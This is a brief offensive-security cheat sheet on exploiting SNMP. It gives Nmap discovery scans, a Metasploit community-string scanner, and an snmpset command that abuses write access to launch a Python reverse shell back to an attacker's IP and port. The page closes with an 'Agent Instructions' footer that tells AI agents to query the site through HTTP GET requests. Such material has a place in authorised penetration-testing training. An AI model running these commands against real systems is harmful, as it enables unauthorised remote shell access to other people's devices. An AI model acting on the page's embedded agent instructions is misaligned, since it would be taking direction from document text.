# Simple Network Management Protocol (SNMP)

The SNMP protocol provides a way for devices on a network to share information with one another. As an attacker, we can sometimes leverage a misconfigured SNMP service to obtain detailed information about the system and/or execute arbitrary code.&#x20;

### Exploitation

#### Identifying SNMP on a Network

```bash
# Identify SNMP utilizing Nmap
nmap -sU -p161 $hosts 

# Identify SNMP and retrieve server type / operating system with Nmap
nmap -sU -p161 $hosts --script=snmp-sysdescr
```

#### Identifying Default Community Strings

```bash
# Identify Default Community Strings with Metasploit
auxiliary/scanner/snmp/snmp_login
```

#### Exploiting SNMP with Write Access

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $targetip \ 
 'nsExtendStatus."evil"' = createAndGo \
 'nsExtendCommand."evil"' = /usr/bin/python \
 'nsExtendArgs."evil"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"$ip\",$port));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

### References

{% embed url="<https://www.blackhillsinfosec.com/snmp-strings-attached/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/networks/simple-network-management-protocol-snmp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
